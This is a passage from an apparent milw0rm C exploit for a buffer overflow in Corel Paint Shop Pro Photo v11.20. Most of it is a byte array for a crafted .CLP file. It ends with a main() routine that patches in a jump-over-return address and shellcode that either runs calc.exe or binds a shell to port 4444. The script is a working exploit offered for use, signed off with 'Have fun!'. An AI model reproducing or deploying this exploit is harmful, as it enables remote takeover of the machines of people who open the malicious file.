"\x01\x01\x01\x01\x01\x01\x85\x01\x01\x01\x01\x01\x01\x01\x01\x2b"
"\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01"
"\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\xac\xbf\x01\x01\x01\x01"
"\x01\x01\x01\x01\x01\x01\x01\xea\x01\x01\x01\x01\x01\x01\x01\x01"
"\x01\x01\x01\x01\x01\x01\x66\x01\x01\x01\xdd\x01\x67\x3e\x01\x01"
"\x01\x01\x01\x01\x01\x01\xa3\x01\x01\x01\x01\x01\x01\x01\x01\x01"
"\x01\x53\x01\x01\x01\x01\x85\x01\x01\x01\x01\x01\x01\x01\x01\x01"
"\x01\x01\x01\x01\x01\x01\x49\x01\x01\x01\x01\x01\x01\x01\x01\x01"
"\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01"
"\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01"
"\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01"
"\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01"
"\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01"
"\x01\x01\x01\x01\x01\x01\x00\x01\x01\x01\x01\x01\x01\x01\x01\x01"
"\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x29"
"\x01\x01\x3d\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01"
"\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01"
"\x1f\x01\x01\x01\x01\xe8\x01\x01\x01\x01\x01\x01\x01\x25\x01\x01"
"\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01"
"\x01\x01\x01\x01\x01\x01\x01\x2c\x01\x01\x01\x01\x01\x01\x01\x01"
"\x01\x27\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01"
"\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01"
"\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01"
"\x01\x01\x01\x01\x01\x00\x00\x00\x05\x0e\x05\x0e\x0e\x0e\x6b\x01"
"\x01\x01\x05\x05\x05\x1f\x01\x0e\x0a\x15\x1f\x0e\x0a\x0a\x1f\x05"
"\x0e\x1f\x05\x35\x0a\x1f\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01"
"\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x42\x01\x01\x01\x01"
"\x01\x01\x01\x01\x01\x01\x01\x01\xab\x01\x01\x01\x01\x01\xb9\x01"
"\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01"
"\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01"
"\x01\x01\x01\x01\x01\x72\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01"
"\x01\x01\x01\x01\x01\x01\x01\x01\x49\x01\x74\x44\x01\x01\x01\x01"
"\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01"
"\xe7\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01"
"\x01\x01\x01\x01\x01\xfe\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01"
"\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01"
"\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01"
"\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01"
"\x01\x01\x01\x75\x69\x01\x01\x01\x01\x5d\x01\x01\x01\x01\x01\x1f"
"\x01\x01\x6d\xee\x01\x13\x01\x01\x94\x01\x01\x01\x01\x01\x01\xea"
"\x01\x20\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01"
"\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01"
"\x01\x01\x01\x01\xbc\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01"
"\x01\x01\x01\x59\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01"
"\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01"
"\xf6\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01"
"\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01"
"\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x85\x01\x01\x01"
"\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\xcb\x01\x01\x01\x01"
"\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01"
"\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01"
"\xf3\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\xfb\x01\x01\x01"
"\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x52"
"\x01\x48\x01\x01\x01\x01\x01\x01\x01\x01\x20\x01\x01\x01\x01\x01"
"\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01"
"\x01\x01\x01\x8b\x9a\xa0\x00\x00\x0e\xd7\x15\x15\x15\x15\x1f\x01"
"\x01\x01\x0e\x0a\x05\x01\x01\x0e\x0a\x15\x1f\x0e\x0a\x0e\x01\x05"
"\xfc\x1f\x0a\x01\x05\x0a\x10\x15\xcd\x1f\x01\x01\x01\x01\x01\x01"
"\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01"
"\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x21\x01\x01\x01\x01\xc7"
"\x01\x01\x01\xad\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01"
"\x01\x01\x01\x01\x64\x01\x01\x01\x01\x01\xf8\x01\x01\x01\x01\x01"
"\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x54\x01\x01\x01"
"\x4d\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01"
"\x01\xc8\x01\xef\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01"
"\x01\x01\x10\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01"
"\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x4d\x01"
"\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01"
"\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x68\x01"
"\x01\x96\x01\x01\x01\x01\x01\x94\x01\x01\x01\x01\x01\x01\x01\x01"
"\x01\x01\x01\x61\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01"
"\x26\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\xe3\x01\x01\x01\x01"
"\x33\xc6\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01"
"\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01"
"\x01\x01\x01\x01\x01\x01\xc1\x01\x01\x01\x01\x01\x01\x01\x01\x01"
"\x01\x01\x01\xf6\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01"
"\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01"
"\x01\x9d\x01\x01\x01\x01\x2b\x01\x01\x01\x01\x01\x01\x01\x01\x01"
"\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01"
"\x01\x01\x01\x60\x01\x01\x01\x01\x01\x01\x26\x01\x01\x01\x01\x01"
"\x17\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01"
"\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01"
"\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x46\x01\x01\x01\x01\x01"
"\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01"
"\x01\x01\x01\xf9\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01"
"\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01"
"\xe7\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01"
"\x01\x01\x01\x01\x01\x00\x00\x00\x01\x1f\x15\x15\x15\x1f\x01\x01"
"\x01\x01\x01\x05\x1f\x01\x01\x1f\x05\x05\x0e\x7d\x15\x01\x01\x15"
"\x1f\x1f\x15\x01\x01\x0e\x05\x05\x0e\x3f\x01\x01\xd2\x01\x01\x01"
"\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01"
"\x01\x01\x01\x01\x01\x05\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01"
"\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01"
"\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01"
"\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\xfa\x01\x01"
"\x01\x01\x01\x01\x01\x01\xb0\x01\x01\x01\x01\x01\x01\x01\x01\x01"
"\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x05\x01\x01\x01\x01\x01"
"\x01\x01\x01\x01\xcf\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\xf1"
"\x01\x01\x7a\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01"
"\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x20\x01\x01\x01"
"\x01\x01\x01\x01\x01\x01\x01\x40\x01\x01\x4d\x01\x01\x01\x01\x01"
"\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01"
"\x01\x01\x01\x01\x01\x01\xa5\x01\x01\x01\x01\x01\x01\x01\x01\x01"
"\x01\x01\x4c\x01\x51\x01\xbb\x88\x01\x01\x01\x01\x01\x01\x01\x01"
"\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01"
"\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01"
"\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01"
"\x01\x01\x01\x01\x01\x01\x01\x01\x01\x8a\x01\x68\x01\x01\x01\x01"
"\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01"
"\x0f\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01"
"\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01"
"\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01"
"\x89\x01\x01"
;

int main(int argc, char* argv[])
{
	FILE* clpfile;
	char evilbuff[10000];
	char *MyShellcode;
	int offset=0;
	
	printf("[+] Corel Paint Shop Pro Photo v11.20 Unspecified .CLP File Buffer Overflow\n");
	printf("[+] Coded and discovered by Marsu <Marsupilamipowa@hotmail.fr>\n");
	if (argc!=3) {
		printf("[+] Usage: %s Mode <file.clp>\n",argv[0]);
		printf("[+] Mode is 0 -> run calc.exe\n");
		printf("[+]         1 -> bind shell to port 4444\n");
		return 0;
	}
	
	if (!atoi(argv[1])) 
		MyShellcode=CalcShellcode;
	else
		MyShellcode=BindShellcode;
	
	memcpy(evilbuff,clp_file_part1,sizeof(clp_file_part1)-1);
	offset=sizeof(clp_file_part1)-1;
	memcpy(evilbuff+offset,clp_file_part2,sizeof(clp_file_part2)-1);
	memcpy(evilbuff+offset,"CC\xeb\x06",4);					//junk + jmp over EIP
	memcpy(evilbuff+offset+4,"\x2e\x1c\x40\x00\x43\x43",6);	//pop esi, pop ebp, ret + junk in Corel Paint Shop Pro Photo.exe
	memcpy(evilbuff+offset+10,MyShellcode,strlen(MyShellcode));
	printf("[+] 2nd part patched\n");
	
	if ((clpfile=fopen(argv[2],"wb"))==0) {
		printf("[-] Unable to access file.\n");
		return 0;
	}
	fwrite( evilbuff, 1, 5648, clpfile );
	fclose(clpfile);
	printf("[+] Done. Have fun!\n");
	return 0;
	
}

// milw0rm.com [2007-04-23]
